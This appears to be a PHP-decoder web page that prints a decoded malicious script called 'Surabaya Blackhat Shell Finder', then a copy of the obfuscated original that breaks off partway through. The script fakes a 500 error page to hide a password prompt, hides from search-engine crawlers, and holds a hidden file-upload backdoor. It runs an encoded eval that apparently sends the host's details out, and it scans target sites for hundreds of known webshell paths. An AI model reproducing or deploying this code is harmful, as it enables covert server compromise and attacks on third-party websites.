Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["rqjwdckno"]="frontpath";${"GLOBALS"}["jqjsshckqksy"]="path";${"GLO..
Decoded Output download
<?php ${"GLOBALS"}["rqjwdckno"]="frontpath";${"GLOBALS"}["jqjsshckqksy"]="path";${"GLOBALS"}["lolewln"]="verificate";${"GLOBALS"}["znrrjjyk"]="pathes";${"GLOBALS"}["xmowvqg"]="frontpathes";${"GLOBALS"}["brfusqoepro"]="site";${"GLOBALS"}["vccidqwni"]="name";${"GLOBALS"}["crhlwdumfg"]="file";${"GLOBALS"}["rekeekpuj"]="false";${"GLOBALS"}["nlgbonwpr"]="data";${"GLOBALS"}["lrfhgwb"]="headers";${"GLOBALS"}["tjebpohg"]="frontpath";${"GLOBALS"}["wcyovdulq"]="x";${"GLOBALS"}["ucfcty"]="t";${"GLOBALS"}["cynyvkhvf"]="front";${"GLOBALS"}["koymycqend"]="replace";${"GLOBALS"}["lfqflspxibj"]="place";${"GLOBALS"}["yaxbtneeuop"]="list";${"GLOBALS"}["xrwvzhlf"]="br";${"GLOBALS"}["xnbnrmw"]="list";${"GLOBALS"}["hmxjuiq"]="array";${"GLOBALS"}["bsdfmkinonn"]="userAgents";${"GLOBALS"}["bsvtklsbyxi"]="default_charset";${"GLOBALS"}["mcmker"]="default_use_ajax";${"GLOBALS"}["umtxeunxc"]="default_action";${"GLOBALS"}["dyasbnx"]="site";${"GLOBALS"}["wieilssuzhk"]="auth_pass";${"GLOBALS"}["dwsywslryfl"]="pathes";${"GLOBALS"}["zruoqmtlgep"]="color";${${"GLOBALS"}["wieilssuzhk"]}="bdd9b8305ee6f1da2b749708fd2d2326";$ltxlsyshrem="site";$xgwrlifr="list";${${"GLOBALS"}["zruoqmtlgep"]}="#00ff00";${${"GLOBALS"}["umtxeunxc"]}="FilesMan";${${"GLOBALS"}["mcmker"]}=true;${${"GLOBALS"}["bsvtklsbyxi"]}="Windows-1251";${"GLOBALS"}["yxfeguws"]="frontpathes";${"GLOBALS"}["dpfbpxahln"]="xx";if(!empty($_SERVER["HTTP_USER_AGENT"])){${${"GLOBALS"}["bsdfmkinonn"]}=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match("/".implode("|",${${"GLOBALS"}["bsdfmkinonn"]})."/i",$_SERVER["HTTP_USER_AGENT"])){header("HTTP/1.0 404 Not Found");exit;}}@session_start();$inxezc="site";@ini_set("error_log",NULL);${"GLOBALS"}["vqcxnbwhug"]="site";${"GLOBALS"}["drnupwvdiny"]="frontpathes";@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WSO_VERSION","2.6");$csjouodt="site";if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"GLOBALS"}["kocpfit"]="array";return is_array(${${"GLOBALS"}["hmxjuiq"]})?array_map("WSOstripslashes",${${"GLOBALS"}["kocpfit"]}):stripslashes(${${"GLOBALS"}["hmxjuiq"]});}$_POST=WSOstripslashes($_POST);}function SbhLogin(){die("
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
<p>More information about this error may be available in the server error log.</p>
<p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<pre align=center>
<form method=post>
<input type=password name=pass>
</form></pre>
");}if(!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])){${"GLOBALS"}["jfjpwxfdnsfo"]="auth_pass";if(empty(${${"GLOBALS"}["wieilssuzhk"]})||(isset($_POST["pass"])&&(md5($_POST["pass"])==${${"GLOBALS"}["jfjpwxfdnsfo"]})))$_SESSION[md5($_SERVER["HTTP_HOST"])]=true;else SbhLogin();}eval(pack("H*","6576616C286261736536345F6465636F646528274A4856796244306B58314E46556C5A46556C736E534652555546394954314E554A3130754A46395452564A5752564A624A314A46555656465531526656564A4A4A313037436D31686157776F4A3270316333527A6158527459584E305A584A415A32316861577775593239744A79776B58314E46556C5A46556C736E55305653566B5653583046455246496E5853776B64584A734B54734B4A474A686332566664584A73494430674A326830644841364C79386E4C69526655305653566B56535779645452564A5752564A66546B464E525364644C6D5270636D35686257556F4A46395452564A5752564A624A314E44556B6C515646394F515531464A3130704F772729293B"));echo"</head>
<body>
<br/>
";$suhexyeqdu="site";error_reporting(0);${${"GLOBALS"}["xnbnrmw"]}["front"]="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";${$xgwrlifr}["end"]="1.php
10.php
11.php
12.php
1234.php
1337.php
1337w0rm.php
1n73ction.php
2.php
2.php
3.php
4.php
403.php
404.php
5.php
6.php
7.php
8.php
9.php
911.php
a.php
abc.php
admin/anket.php
admin1.php
allsoft.pl
Ani-Shell.php
anonymous.php
asd.php
b.php
b374k.php
backtrack.php
blackshadow.php
bp.php
bt.php
c.php
c100.php
c99.php
cache.php
cgi.php
cgishell
Cgishell.pl
cgiweb.php
changeall.php
conf.pl
config.pl
configkiller.php
confkiller.php
cp.php
cyber.php
d.php
d4rk.php
dam.php
database.php
db.php
dbconfigs.php
dhanush.php
dom.php
dom.php
domain.php
dz.php
Dz.php
dz0.php
e.php
egy.php
f.php
g.php
gaza.php
h.php
hacker.php
i.php
index1.php
injection.php
j.php
jancak.php
k.php
killer.php
ksa.php
l.php
log.php
logs.php
m.php
M4r0c.php
madspot.php
madspotshell.php
mannu.php
mass.php
masschecker.php
minang.php
n.php
nkr.php
no.php
o.php
offline.php
p.php
pocong.php
priv8.php
proshell.php
proshell2.php
ps/ps.php
python
q.php
r.php
r00t.php
r00t.php
r0k.php
r57.php
s.php
settings.php
Sh3ll.php
shell.php
shells.php
sniper.php
ss.php
ssh.php
sym.php
Symlink_sa_3.0.php
symlinker.php
syrian_shell.php
sys.php
t.php
tmp.php
u.php
ugdevil.php
user.php
v.php
v4team.php
vba.php
w.php
web1.php
whcms.php
whm.php
WSO.php
wso.php
wsob.php
x.php
xd.php
xxx.php
y.php
z.php
zone.php
images/2.php
images/admin.php
images/amad.php
images/awstats
images/back.sql
images/backup.sql
images/Black.php
images/cpanel
images/data.sql
images/dz.php
images/error
images/error_log
images/forum.sql
images/gaza.php
images/r57.php
images/sa.php
images/sa2.php
images/shell.php
images/site.rar
images/site.sql
images/site.tar.gz
images/t00.php
images/up.php
images/upload.php
images/uploads.php
images/vb.sql
images/123.php
images/403.php
images/abuhlail.php
images/admin1/
images/admin2.asp
images/Ani-Shell.php
images/anonymous.php
images/asd.php
images/asp.aspx
images/b.php
images/b374k.php
images/buck.sql
images/c.php
images/c100.php
images/c22.php
images/config.pl
images/configuration.php
images/confkiller.php
images/cp.php
images/Cpanel.php
images/database.php
images/dhanush.php
images/dz1.php
images/forum.rar
images/forum.zip
images/g.php
images/gzaa_spysl
images/images/Sym.php
images/injection.php
images/jancak.php
images/joomla.rar
images/joomla.zip
images/k.php
images/logs.php
images/ls.php
images/m.php
images/mannu.php
images/minang.php
images/proshell2.php
images/r00t-s3c.php
images/sa.php
images/shell.php
images/sniper.php
images/sql-new.php
images/stories/w.php
images/Sym.php
images/Symlink.php
images/Symlink.pl
images/Symlink_sa_3.0.php
images/symlinker.php
images/sysadmins/
images/tmp/2.php
images/tmp/Cgishell.pl
images/tmp/changeall.php
images/tmp/cpn.php
images/tmp/dz.php
images/tmp/dz1.php
images/tmp/index.php
images/tmp/killer.php
images/tmp/madspotshell.php
images/tmp/root.php
images/tmp/sql.php
images/tmp/Sym.php
images/tmp/user.php
images/tmp/vaga.php
images/tmp/whmcs.php
images/ugdevil.php
images/up.php
images/uploads.php
images/vb.rar
images/vb.zip
images/whmcs.php
images/wp.php
images/wp.rar/
images/wso.php
images/X.php
images/xx.pl
images/zone-h.php
includes/0day.php
includes/1.php
includes/2.php
includes/admin1.php
includes/admin2.asp
includes/c100.php
includes/c22.php
includes/c99.php
includes/Cgishell.pl
includes/changeall.php
includes/configuration.php
includes/cp.php
includes/cpanel.php
includes/Cpanel.php
includes/cpn.php
includes/d.php
includes/d0mains.php
includes/dam.php
includes/dom.php
includes/dz.php
includes/DZ.php
includes/dz0.php
includes/egyshell.php
includes/g.php
includes/gaza.php
includes/info.php
includes/k.php
includes/killer.php
includes/L3b.php
includes/ls.php
includes/madspot.php
includes/madspotshell.php
includes/mysql.php
includes/r00t.php
includes/sa.php
includes/sado.php
includes/Sec-War.php
includes/Sh3ll.php
includes/sos.php
includes/sql.php
includes/ssl.php
includes/Sym.php
includes/sysadmins/
includes/term.php
includes/tmp/2.php
includes/tmp/admin.php
includes/tmp/Cgishell.pl
includes/tmp/changeall.php
includes/tmp/cpn.php
includes/tmp/d.php
includes/tmp/dz.php
includes/tmp/index.php
includes/tmp/L3b.php
includes/tmp/madspotshell.php
includes/tmp/root.php
includes/tmp/sql.php
includes/tmp/Sym.php
includes/tmp/user.php
includes/tmp/whmcs.php
includes/up.php
includes/upload.php
includes/uploads.php
includes/user.php
includes/vb.rar
includes/vb.zip
includes/vb.zip
includes/whmcs.php
includes/WolF.php
includes/WSO.php
includes/xx.pl
includes/zone-h.php
media/403.php
media/Ani-Shell.php
media/anonymous.php
media/asd.php
media/b374k.php
media/blackshadow.php
media/config.pl
media/confkiller.php
media/database.php
media/dhanush.php
media/injection.php
media/logs.php
media/mannu.php
media/minang.php
media/proshell2.php
media/Symlink_sa_3.0.php
media/symlinker.php
media/ugdevil.php
media/wso.php
media/WSO.php
templates/beez/1.php
templates/beez/bypass.php
templates/beez/c100.php
templates/beez/c99.php
templates/beez/c99.php
templates/beez/cgirun
templates/beez/cgitelnet1
templates/beez/cgiweb
templates/beez/configler
templates/beez/dom.php
templates/beez/gaza.php
templates/beez/index.php
templates/beez/r00t.php
templates/beez/r00t.php
templates/beez/r57.php
templates/beez/safe.php
templates/beez/shell.php
templates/beez/sym.php
templates/beez/user.php
templates/beez/vb.zip
templates/beez/whmcs.php
templates/c100.php
templates/c99.php
templates/cgiweb
templates/r57.php
templates/rhuk_milkyway/admin1.php
templates/rhuk_milkyway/sado.php
templates/rhuk_milkyway/tmp/d.php
templates/rhuk_milkyway/tmp/L3b.php
templates/rhuk_milkyway/upload.php
templates/shell.php
templates/sym.php
templates/undp/cgiweb
templates/undp/r00t.php
templates/undp/sym.php
templates/undp/web1.php
templates/undp/wsob.php
templates/undp_2/c100.php
templates/undp_2/c99.php
templates/undp_2/r57.php
tmp/as.php
tmp/cpn.php
tmp/dz.php
tmp/king.php
tmp/r00t.php
tmp/r1z.php
tmp/r57.php
tmp/root.php
tmp/sok.php
tmp/ss.php
tmp/w.php
tmp/whmcs.php
wp-content/plugins/akismet//sa2.php
wp-content/plugins/akismet/akismet.php
wp-content/plugins/akismet/Cgishell.pl
wp-content/plugins/akismet/changeall.php
wp-content/plugins/akismet/killer.php
wp-content/plugins/akismet/madspot.php
wp-content/plugins/akismet/mysql.php
wp-content/plugins/akismet/ssl.php
wp-content/plugins/akismet/WolF.php
wp-content/plugins/disqus-comment-system/admin.php
wp-content/plugins/disqus-comment-system/admin1/
wp-content/plugins/disqus-comment-system/Cgishell.pl
wp-content/plugins/disqus-comment-system/changeall.php
wp-content/plugins/disqus-comment-system/gzaa_spysl
wp-content/plugins/disqus-comment-system/killer.php
wp-content/plugins/disqus-comment-system/madspot.php
wp-content/plugins/disqus-comment-system/mysql.php
wp-content/plugins/disqus-comment-system/r57.php
wp-content/plugins/disqus-comment-system/sa.php
wp-content/plugins/disqus-comment-system/sa.php
wp-content/plugins/disqus-comment-system/shell.php
wp-content/plugins/disqus-comment-system/sniper.php
wp-content/plugins/disqus-comment-system/sql-new.php
wp-content/plugins/disqus-comment-system/sysadmins/
wp-content/plugins/disqus-comment-system/WolF.php
wp-content/plugins/disqus-comment-systemimages/Sym.php
wp-content/plugins/google-sitemap-generator//back.sql
wp-content/plugins/google-sitemap-generator//backup.sql
wp-content/plugins/google-sitemap-generator//data.sql
wp-content/plugins/google-sitemap-generator/c.php
wp-content/plugins/google-sitemap-generator/r00t-s3c.php
wp-content/themes/twentyeleven/403.php
wp-content/themes/twentyeleven/Ani-Shell.php
wp-content/themes/twentyeleven/anonymous.php
wp-content/themes/twentyeleven/asd.php
wp-content/themes/twentyeleven/b374k.php
wp-content/themes/twentyeleven/blackshadow.php
wp-content/themes/twentyeleven/config.pl
wp-content/themes/twentyeleven/confkiller.php
wp-content/themes/twentyeleven/database.php
wp-content/themes/twentyeleven/dhanush.php
wp-content/themes/twentyeleven/injection.php
wp-content/themes/twentyeleven/jancak.php
wp-content/themes/twentyeleven/logs.php
wp-content/themes/twentyeleven/mannu.php
wp-content/themes/twentyeleven/minang.php
wp-content/themes/twentyeleven/proshell2.php
wp-content/themes/twentyeleven/Symlink_sa_3.0.php
wp-content/themes/twentyeleven/symlinker.php
wp-content/themes/twentyeleven/ugdevil.php
wp-content/themes/twentyeleven/wso.php
wp-content/themes/twentyten/403.php
wp-content/themes/twentyten/Ani-Shell.php
wp-content/themes/twentyten/anonymous.php
wp-content/themes/twentyten/asd.php
wp-content/themes/twentyten/b374k.php
wp-content/themes/twentyten/blackshadow.php
wp-content/themes/twentyten/cdhanush.php
wp-content/themes/twentyten/config.pl
wp-content/themes/twentyten/confkiller.php
wp-content/themes/twentyten/database.php
wp-content/themes/twentyten/injection.php
wp-content/themes/twentyten/jancak.php
wp-content/themes/twentyten/logs.php
wp-content/themes/twentyten/mannu.php
wp-content/themes/twentyten/minang.php
wp-content/themes/twentyten/proshell2.php
wp-content/themes/twentyten/Symlink_sa_3.0.php
wp-content/themes/twentyten/symlinker.php
wp-content/themes/twentyten/ugdevil.php
wp-content/themes/twentyten/wso.php
training/compendium/administer/admintrainingevents.aspx
wseltzer/Antitrust
faa_tools/login.php?prev_page=/faa_tools/
cgiweb/";function template(){echo"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content="text/html; charset=utf-8\" />
<title>Surabaya Blackhat Shell Finder</title>
<td valign=\"top" bgcolor="#000000"><center><strong><img src=\"http://i.imgur.com/ilcR6oB.jpg\" /><br>
</strong>
<br>
<style type=\"text/css">
body{
background: #000;
margin: 0;
padding: 0;
padding-top: 10px;
color: #FFF;
font-family: Calibri;
font-size: 13px;
}
a{
color: #FFF;
text-decoration: none;
font-weight: bold;
}
.wrapper{
width: 1000px;
margin: 0 auto;
}
.tube{
padding: 10px;
}
.red{
width: 998px;
border: 3px solid #e52224;
background: black;
color: #e52224
}
.red input{
background: #000;
border: 1px solid #e52224;
color: #FFF;
}
.blue{
float: left;
width: 1000px;
border: 3px solid #068bfb;
background: black;
color: #068bfb;
}
.green{
float: left;
width: 1000px;
border: 3px solid #5fd419;
background: black;
color: #5fd419;
}
</style>
<script type="text/javascript\">
<!--
function insertcode(\$text, \$place, \$replace)
{
var \$this = \$text;
var logbox = document.getElementById(\$place);
if(\$replace == 0)
document.getElementById(\$place).innerHTML = logbox.innerHTML+\$this;
else
document.getElementById(\$place).innerHTML = \$this;
//document.getElementById("helpbox\").innerHTML = \$this;
}
-->
</script>
</head>
<body>
<br />
<br />
<div class="wrapper\">
<div class="red\">
<div class="tube\">
<form action="\" method=\"post" name=\"xploit_form\">
INPUT YOUR URL TARGET:<br /><input type="text\" name=\"xploit_url\" value="".$_POST["xploit_url"]."\" style=\"width: 100%;" /><br /><br />
<span style="float: center;"><input type="submit" name=\"xploit_submit\" value=\"SEARCH\" align="center" /></span>
</form>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class=\"green\">
<div class=\"tube" id=\"rightcol">
Total Scanned: <span id="verified\">0</span> / <span id=\"total">0</span><br />
Result:<br />
</div> <!-- /tube -->
</div> <!-- /green -->
<br clear=\"all\" /><br />
<br clear="all">";}function show($msg,$br=1,$stop=0,$place='logbox',$replace=0){$yqdqhprdj="stop";${"GLOBALS"}["vcsmhwrm"]="msg";${"GLOBALS"}["lbxxvbqxqj"]="msg";if(${${"GLOBALS"}["xrwvzhlf"]}==1)${${"GLOBALS"}["lbxxvbqxqj"]}.="<br />";echo"<script type=\"text/javascript">insertcode('".${${"GLOBALS"}["vcsmhwrm"]}."', '".${${"GLOBALS"}["lfqflspxibj"]}."', '".${${"GLOBALS"}["koymycqend"]}."');</script>";if(${$yqdqhprdj}==1)exit;@flush();@ob_flush();}function check($x,$front=0){${"GLOBALS"}["djxmgpbgvx"]="headers";$zlnmqszhhxr="data";$pymbehup="site";global$_POST,$site,$false;$jsntzgms="site";if(${${"GLOBALS"}["cynyvkhvf"]}==0)${${"GLOBALS"}["ucfcty"]}=${$pymbehup}.${${"GLOBALS"}["wcyovdulq"]};else${${"GLOBALS"}["ucfcty"]}="http://".${${"GLOBALS"}["wcyovdulq"]}.".".${$jsntzgms}."/";${${"GLOBALS"}["djxmgpbgvx"]}=get_headers(${${"GLOBALS"}["ucfcty"]});if(!eregi("200",${${"GLOBALS"}["lrfhgwb"]}[0]))return 0;${"GLOBALS"}["muagsdq"]="t";${$zlnmqszhhxr}=@file_get_contents(${${"GLOBALS"}["muagsdq"]});if($_POST["xploit_404string"]==""){if(${${"GLOBALS"}["nlgbonwpr"]}==${${"GLOBALS"}["rekeekpuj"]})return 0;}if($_POST["xploit_404string"]!=""){if(strpos(${${"GLOBALS"}["nlgbonwpr"]},$_POST["xploit_404string"]))return 0;}return 1;}template();$tklwcovqip="site";if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){$ahltwogmkeg="file";${"GLOBALS"}["kcciqphy"]="name";${$ahltwogmkeg}=$_FILES["joomLa"]["tmp_name"];${${"GLOBALS"}["kcciqphy"]}="".$_FILES["joomLa"]["name"];move_uploaded_file(${${"GLOBALS"}["crhlwdumfg"]},${${"GLOBALS"}["vccidqwni"]});}else{echo "<br>
<form method=\"POST\" enctype="multipart/form-data" action="";$_SERVER["PHP_SELF"];echo "">
<input type=\"file" name=\"joomLa\"> <input type=\"submit" name="ok" value="Get">
</form>
";}exit;}if(!isset($_POST["xploit_url"]))die;if($_POST["xploit_url"]=="")die;$cbptklb="list";${"GLOBALS"}["mnegqp"]="false";${"GLOBALS"}["akinutier"]="list";${$inxezc}=$_POST["xploit_url"];if(${${"GLOBALS"}["brfusqoepro"]}[strlen(${${"GLOBALS"}["dyasbnx"]})-1]!="/")${$suhexyeqdu}.="/";if($_POST["xploit_404string"]=="")${${"GLOBALS"}["mnegqp"]}=@file_get_contents(${${"GLOBALS"}["brfusqoepro"]}."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");${$cbptklb}["end"]=str_replace("
","",${${"GLOBALS"}["akinutier"]}["end"]);${${"GLOBALS"}["yaxbtneeuop"]}["front"]=str_replace("
","",${${"GLOBALS"}["xnbnrmw"]}["front"]);${${"GLOBALS"}["dwsywslryfl"]}=explode("
",${${"GLOBALS"}["xnbnrmw"]}["end"]);${${"GLOBALS"}["xmowvqg"]}=explode("
",${${"GLOBALS"}["xnbnrmw"]}["front"]);show(count(${${"GLOBALS"}["znrrjjyk"]})+count(${${"GLOBALS"}["yxfeguws"]}),1,0,"total",1);$yhirlrm="xx";${"GLOBALS"}["nsxoydc"]="site";${${"GLOBALS"}["lolewln"]}=0;foreach(${${"GLOBALS"}["znrrjjyk"]} as${${"GLOBALS"}["jqjsshckqksy"]}){${${"GLOBALS"}["lolewln"]}++;$ygbpix="verificate";show(${$ygbpix},0,0,"verified",1);if(check(${${"GLOBALS"}["jqjsshckqksy"]})!=0){$czyvctsipix="site";$tgzpnnpuy="site";show("<a href=\"".${$czyvctsipix}.${${"GLOBALS"}["jqjsshckqksy"]}."">".${$tgzpnnpuy}.${${"GLOBALS"}["jqjsshckqksy"]}."</a>",0,0,"rightcol",0);show("<span style="color: #00FF00;\"><strong> Found :)</strong></span>",1,0,"rightcol",0);}}preg_match("/\/\/(.*?)\//i",${$csjouodt},${$yhirlrm});${${"GLOBALS"}["vqcxnbwhug"]}=${${"GLOBALS"}["dpfbpxahln"]}[1];if(substr(${${"GLOBALS"}["nsxoydc"]},0,3)=="www")${$tklwcovqip}=substr(${$ltxlsyshrem},4);foreach(${${"GLOBALS"}["drnupwvdiny"]} as${${"GLOBALS"}["tjebpohg"]}){$gmmldohpi="verificate";${${"GLOBALS"}["lolewln"]}++;show(${$gmmldohpi},0,0,"verified",1);if(check(${${"GLOBALS"}["rqjwdckno"]},1)!=0){${"GLOBALS"}["isdazqw"]="site";${"GLOBALS"}["ndqgeiudpc"]="site";${"GLOBALS"}["wosxgdsb"]="frontpath";show("<a href=\"http://".${${"GLOBALS"}["wosxgdsb"]}.".".${${"GLOBALS"}["ndqgeiudpc"]}."/">".${${"GLOBALS"}["rqjwdckno"]}.".".${${"GLOBALS"}["isdazqw"]}."</a>",0,0,"rightcol",0);show("<span style=\"color: #00FF00;\"><strong> Found :)</strong></span>",1,0,"rightcol",0);}}echo"
";echo "
";
?>
Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["rqjwdckno"]="frontpath";${"GLOBALS"}["jqjsshckqksy"]="path";${"GLOBALS"}["lolewln"]="verificate";${"GLOBALS"}["znrrjjyk"]="pathes";${"GLOBALS"}["xmowvqg"]="frontpathes";${"GLOBALS"}["brfusqoepro"]="site";${"GLOBALS"}["vccidqwni"]="name";${"GLOBALS"}["crhlwdumfg"]="file";${"GLOBALS"}["rekeekpuj"]="false";${"GLOBALS"}["nlgbonwpr"]="data";${"GLOBALS"}["lrfhgwb"]="headers";${"GLOBALS"}["tjebpohg"]="frontpath";${"GLOBALS"}["wcyovdulq"]="x";${"GLOBALS"}["ucfcty"]="t";${"GLOBALS"}["cynyvkhvf"]="front";${"GLOBALS"}["koymycqend"]="replace";${"GLOBALS"}["lfqflspxibj"]="place";${"GLOBALS"}["yaxbtneeuop"]="list";${"GLOBALS"}["xrwvzhlf"]="br";${"GLOBALS"}["xnbnrmw"]="list";${"GLOBALS"}["hmxjuiq"]="array";${"GLOBALS"}["bsdfmkinonn"]="userAgents";${"GLOBALS"}["bsvtklsbyxi"]="default_charset";${"GLOBALS"}["mcmker"]="default_use_ajax";${"GLOBALS"}["umtxeunxc"]="default_action";${"GLOBALS"}["dyasbnx"]="site";${"GLOBALS"}["wieilssuzhk"]="auth_pass";${"GLOBALS"}["dwsywslryfl"]="pathes";${"GLOBALS"}["zruoqmtlgep"]="color";${${"GLOBALS"}["wieilssuzhk"]}="bdd9b8305ee6f1da2b749708fd2d2326";$ltxlsyshrem="site";$xgwrlifr="list";${${"GLOBALS"}["zruoqmtlgep"]}="#00ff00";${${"GLOBALS"}["umtxeunxc"]}="FilesMan";${${"GLOBALS"}["mcmker"]}=true;${${"GLOBALS"}["bsvtklsbyxi"]}="Windows-1251";${"GLOBALS"}["yxfeguws"]="frontpathes";${"GLOBALS"}["dpfbpxahln"]="xx";if(!empty($_SERVER["HTTP_USER_AGENT"])){${${"GLOBALS"}["bsdfmkinonn"]}=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match("/".implode("|",${${"GLOBALS"}["bsdfmkinonn"]})."/i",$_SERVER["HTTP_USER_AGENT"])){header("HTTP/1.0 404 Not Found");exit;}}@session_start();$inxezc="site";@ini_set("error_log",NULL);${"GLOBALS"}["vqcxnbwhug"]="site";${"GLOBALS"}["drnupwvdiny"]="frontpathes";@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WSO_VERSION","2.6");$csjouodt="site";if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"GLOBALS"}["kocpfit"]="array";return is_array(${${"GLOBALS"}["hmxjuiq"]})?array_map("WSOstripslashes",${${"GLOBALS"}["kocpfit"]}):stripslashes(${${"GLOBALS"}["hmxjuiq"]});}$_POST=WSOstripslashes($_POST);}function SbhLogin(){die("
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
<p>More information about this error may be available in the server error log.</p>
<p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<pre align=center>
<form method=post>
<input type=password name=pass>
</form></pre>
");}if(!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])){${"GLOBALS"}["jfjpwxfdnsfo"]="auth_pass";if(empty(${${"GLOBALS"}["wieilssuzhk"]})||(isset($_POST["pass"])&&(md5($_POST["pass"])==${${"GLOBALS"}["jfjpwxfdnsfo"]})))$_SESSION[md5($_SERVER["HTTP_HOST"])]=true;else SbhLogin();}eval(pack("H*","6576616C286261736536345F6465636F646528274A4856796244306B58314E46556C5A46556C736E534652555546394954314E554A3130754A46395452564A5752564A624A314A46555656465531526656564A4A4A313037436D31686157776F4A3270316333527A6158527459584E305A584A415A32316861577775593239744A79776B58314E46556C5A46556C736E55305653566B5653583046455246496E5853776B64584A734B54734B4A474A686332566664584A73494430674A326830644841364C79386E4C69526655305653566B56535779645452564A5752564A66546B464E525364644C6D5270636D35686257556F4A46395452564A5752564A624A314E44556B6C515646394F515531464A3130704F772729293B"));echo"</head>
<body>
<br/>
";$suhexyeqdu="site";error_reporting(0);${${"GLOBALS"}["xnbnrmw"]}["front"]="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";${$xgwrlifr}["end"]="1.php
10.php
11.php
12.php
1234.php
1337.php
1337w0rm.php
1n73ction.php
2.php
2.php
3.php
4.php
403.php
404.php
5.php
6.php
7.php
8.php
9.php
911.php
a.php
abc.php
admin/anket.php
admin1.php
allsoft.pl
Ani-Shell.php
anonymous.php
asd.php
b.php
b374k.php
backtrack.php
blackshadow.php
bp.php
bt.php
c.php
c100.php
c99.php
cache.php
cgi.php
cgishell
Cgishell.pl
cgiweb.php
changeall.php
conf.pl
config.pl
configkiller.php
confkiller.php
cp.php
cyber.php
d.php
d4rk.php
dam.php
database.php
db.php
dbconfigs.php
dhanush.php
dom.php
dom.php
domain.php
dz.php
Dz.php
dz0.php
e.php
egy.php
f.php
g.php
gaza.php
h.php
hacker.php
i.php
index1.php
injection.php
j.php
jancak.php
k.php
killer.php
ksa.php
l.php
log.php
logs.php
m.php
M4r0c.php
madspot.php
madspotshell.php
mannu.php
mass.php
masschecker.php
minang.php
n.php
nkr.php
no.php
o.php
offline.php
p.php
pocong.php
priv8.php
proshell.php
proshell2.php
ps/ps.php
python
q.php
r.php
r00t.php
r00t.php
r0k.php
r57.php
s.php
settings.php
Sh3ll.php
shell.php
shells.php
sniper.php
ss.php
ssh.php
sym.php
Symlink_sa_3.0.php
symlinker.php
syrian_shell.php
sys.php
t.php
tmp.php
u.php
ugdevil.php
user.php
v.php
v4team.php
vba.php
w.php
web1.php
whcms.php
whm.php
WSO.php
wso.php
wsob.php
x.php
xd.php
xxx.php
y.php
z.php
zone.php
images/2.php
images/admin.php
images/amad.php
images/awstats
images/back.sql
images/backup.sql
images/Black.php
images/cpanel
images/data.sql
images/dz.php
images/error
images/error_log
images/forum.sql
images/gaza.php
images/r57.php
images/sa.php
images/sa2.php
images/shell.php
images/site.rar
images/site.sql
images/site.tar.gz
images/t00.php
images/up.php
images/upload.php
images/uploads.php
images/vb.sql
images/123.php
images/403.php
images/abuhlail.php
images/admin1/
images/admin2.asp
images/Ani-Shell.php
images/anonymous.php
images/asd.php
images/asp.aspx
images/b.php
images/b374k.php
images/buck.sql
images/c.php
images/c100.php
images/c22.php
images/config.pl
images/configuration.php
images/confkiller.php
images/cp.php
images/Cpanel.php
images/database.php
images/dhanush.php
images/dz1.php
images/forum.rar
images/forum.zip
images/g.php
images/gzaa_spysl
images/images/Sym.php
images/injection.php
images/jancak.php
images/joomla.rar
images/joomla.zip
images/k.php
images/logs.php
images/ls.php
images/m.php
images/mannu.php
images/minang.php
images/proshell2.php
images/r00t-s3c.php
images/sa.php
images/shell.php
images/sniper.php
images/sql-new.php
images/stories/w.php
images/Sym.php
images/Symlink.php
images/Symlink.pl
images/Symlink_sa_3.0.php
images/symlinker.php
images/sysadmins/
images/tmp/2.php
images/tmp/Cgishell.pl
images/tmp/changeall.php
images/tmp/cpn.php
images/tmp/dz.php
images/tmp/dz1.php
images/tmp/index.php
images/tmp/killer.php
images/tmp/madspotshell.php
images/tmp/root.php
images/tmp/sql.php
images/tmp/Sym.php
images/tmp/user.php
images/tmp/vaga.php
images/tmp/whmcs.php
images/ugdevil.php
images/up.php
images/uploads.php
images/vb.rar
images/vb.zip
images/whmcs.php
images/wp.php
images/wp.rar/
images/wso.php
images/X.php
images/xx.pl
images/zone-h.php
includes/0day.php
includes/1.php
includes/2.php
includes/admin1.php
includes/admin2.asp
includes/c100.php
includes/c22.php
includes/c99.php
includes/Cgishell.pl
includes/changeall.php
includes/configuration.php
includes/cp.php
includes/cpanel.php
includes/Cpanel.php
includes/cpn.php
includes/d.php
includes/d0mains.php
includes/dam.php
includes/dom.php
includes/dz.php
includes/DZ.php
includes/dz0.php
includes/egyshell.php
includes/g.php
includes/gaza.php
includes/info.php
includes/k.php
includes/killer.php
includes/L3b.php
includes/ls.php
includes/madspot.php
includes/madspotshell.php
includes/mysql.php
includes/r00t.php
includes/sa.php
